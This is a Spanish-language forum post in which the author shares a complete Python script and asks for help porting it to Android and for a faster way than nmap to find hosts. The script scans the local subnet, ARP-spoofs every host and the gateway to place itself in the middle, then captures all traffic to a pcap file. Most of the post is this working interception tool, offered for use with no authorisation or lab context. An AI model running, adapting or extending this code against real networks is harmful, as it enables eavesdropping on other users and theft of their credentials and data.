Hola, estuve trabajando unos días en un sniffer con ARP_Spoofer incorporado que crea un archivo pcap para analizar el trafico después en wireshark y hacer lo que tengas que hacer con el. La cosa es que la idea principal era poder hacer esto para iPhone pero tengo entendido que no se puede programar con python en ios así que mi otra opción es usar un android viejo que tengo guardado y con qt pasarlo pero e buscado información y nada quería saber si alguien sabe algo al respecto para que me pueda ayudar, se que probablemente no funcione de una porque el tema de los sockets debe ser algo distinto en android pero la gracia es cambiar lo que sea necesario para que funcione en android. De todas maneras les dejo el codigo, esta en python 3, se tiene que ejecutar como administrador y poner el nombre del archivo en el que se va a guardar la informacion
import socket
import struct
import sys
import netifaces
import nmap
import time
import threading
from scapy.all import Ether, ARP, srp, send
def ARP_Spoof( targets ,host ):
enable_linux_iproute()
print(' [*] Start ARP_Spoof')
while dead:
for target in targets:
spoof( host, target )
spoof( target, host )
def spoof( target_ip, host_ip ):
target_mac = get_mac(target_ip)
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
send(arp_response, verbose=0)
def restore( target_ip, host_ip ):
target_mac = get_mac(target_ip)
host_mac = get_mac(host_ip)
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
send(arp_response, verbose=0, count=7)
def get_all_ip( host ):
nm = nmap.PortScanner()
host += '/24'
nm.scan( host )
return nm.all_hosts()
def get_gateway_ip():
x = netifaces.gateways()
return x['default'][netifaces.AF_INET][0]
def get_mac( ip ):
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0 )
if ans:
return ans[0][1].src
def enable_linux_iproute():
file_path = "/proc/sys/net/ipv4/ip_forward"
with open( file_path ) as f:
if f.read() == 1:
f.close()
return
with open(file_path, "w") as f:
print(1, file=f)
print(' [*] Ip route enable. ')
def disable_linux_iproute():
file_path = "/proc/sys/net/ipv4/ip_forward"
with open( file_path ) as f:
if f.read() == 0:
f.close()
return
with open(file_path, "w") as f:
print(0, file=f)
print(' [*] Ip route disable. ')
def ethernet_frame( data ):
dest_mac, src_mac, proto = struct.unpack('! 6s 6s H', data[:14] )
return get_mac_addr( dest_mac ), get_mac_addr( src_mac ), socket.htons( proto ), data[14:]
def ipv4_packet( data ):
version = data[0] >> 4
header = data[0] & 15
ECN = data[1]
length = int.from_bytes( data[2:4], "big" )
identification = data[4:6]
ttl ,proto ,src ,target = struct.unpack('! 8x B B 2x 4s 4s', data[:20])
return version ,header ,ECN ,length ,identification ,ttl ,proto , ipv4(src) ,ipv4(target) ,data[header*4:]
def icmp_packet( data ):
icmp_type, code, checksum = struct.unpack('! B B H', data[:4])
return icmp_type, code, checksum, data[4:]
def tcp_segment( data ):
src_port, dest_port, sequence, acknow, offset_reserved_flag ,windows_size, checksum, urgent_pointer = struct.unpack('! H H L L H H H H', data[:20] )
header_length = data[12] >> 4
offset = offset_reserved_flag >> 12
flag_urg = ( offset_reserved_flag & 32 ) >> 5
flag_ack = ( offset_reserved_flag & 16 ) >> 4
flag_psh = ( offset_reserved_flag & 8 ) >> 3
flag_rst = ( offset_reserved_flag & 4 ) >> 2
flag_syn = ( offset_reserved_flag & 2 ) >> 1
flag_fin = offset_reserved_flag & 1
flags = [flag_urg, flag_ack, flag_psh, flag_rst, flag_syn, flag_fin ]
return src_port, dest_port, sequence, acknow, flags, header_length ,windows_size, checksum, urgent_pointer,data[20:]
def get_mac_addr( bytes_addr ):
bytesString = map('{:02x}'.format, bytes_addr )
return ':'.join(bytesString).upper()
def ipv4( bytes_addr ):
return '.'.join(map(str, bytes_addr ))
def write_file( file, data ):
ts_sec, ts_usec = map(int, str(time.time()).split('.'))
length = len(data)
file.write(struct.pack('@ I I I I', ts_sec, ts_usec, length, length))
file.write( data )
if __name__ == '__main__':
print(
"""
██████ ███▄ █ ██▓ █████▒ █████▒ ██▓███ ▓██ ██▓
▒██ ▒ ██ ▀█ █ ▓██▒▓██ ▒ ▓██ ▒ ▓██░ ██▒ ▒██ ██▒
░ ▓██▄ ▓██ ▀█ ██▒▒██▒▒████ ░ ▒████ ░ ▓██░ ██▓▒ ▒██ ██░
▒ ██▒▓██▒ ▐▌██▒░██░░▓█▒ ░ ░▓█▒ ░ ▒██▄█▓▒ ▒ ░ ▐██▓░
▒██████▒▒▒██░ ▓██░░██░░▒█░ ░▒█░ ▒██▒ ░ ░ ░ ██▒▓░
▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ░▓ ▒ ░ ▒ ░ ▒▓▒░ ░ ░ ██▒▒▒
░ ░▒ ░ ░░ ░░ ░ ▒░ ▒ ░ ░ ░ ░▒ ░ ▓██ ░▒░
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░ ░ ░
░
By: Frijolito
"""
)
if len(sys.argv) != 2:
print(" [!] Syntax error")
print(" [!] sudo python3 sniffpy.py <filename.pcap>" )
print(" [!] The file does not have to exist")
exit(1)
host = get_gateway_ip()
targets = get_all_ip( host )
global dead
dead = True
file = open(sys.argv[1], "wb" )
file.write( struct.pack('@ I H H i I I I', 2712847316, 2, 4, 0, 0, 65535, 1))
conn = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))
t = threading.Thread( target = ARP_Spoof ,name = 'ARP_SPOOF', args=( targets ,host) )
t.start()
time.sleep( 5 )
print(' [*] Start sniffing. \n')
print(' [*] Source | Destination | Protocol | Lenght | Info ')
print(' --------------------+-----------------+----------+--------+-------')
try:
while True:
raw_data, addr = conn.recvfrom( 65536 )
write_file( file, raw_data )
dest_mac, src_mac, eth_proto, data = ethernet_frame( raw_data ) # Primeros 14 bytes
if dest_mac != '00:00:00:00:00:00' and src_mac != '00:00:00:00:00:00':
if eth_proto == 8:
version ,header ,ECN ,length ,identification ,ttl ,proto , src ,target ,data = ipv4_packet(data)
if proto == 1:
icmp_type, code, checksum, data = icmp_packet( data )
print(f' [+] {src:15} | {target:15} | ICMP | ')
elif proto == 6:
src_port, dest_port, sequence, acknow, flags, header_length ,windows_size, checksum, urgent_pointer ,data = tcp_segment( data )
flags_ = []
# [flag_urg, flag_ack, flag_psh, flag_rst, flag_syn, flag_fin ]
if flags[0]:
flags_.append('URG')
elif flags[1]:
flags_.append('ACK')
elif flags[2]:
flags_.append('PSH')
elif flags[3]:
flags_.append('RST')
elif flags[4]:
flags_.append('SYN')
elif flags[5]:
flags_.append('FIN')
print(f' [+] {src:15} | {target:15} | TCP | {length:4} | {src_port:5} -> {dest_port:5} {flags_}')
except KeyboardInterrupt:
file.close()
dead = False
print(' [*] Stop the sniffing')
print(' [*] Stop the ARP Spoof')
disable_linux_iproute()
for target in targets:
restore(target, host)
restore(host, target)
Tambien me gustaria preguntar si alguien sabe algun metodo para saber las ip's de los demas equipos conectados a la red que no demore tanto como nmap, eso seria de mucha ayuda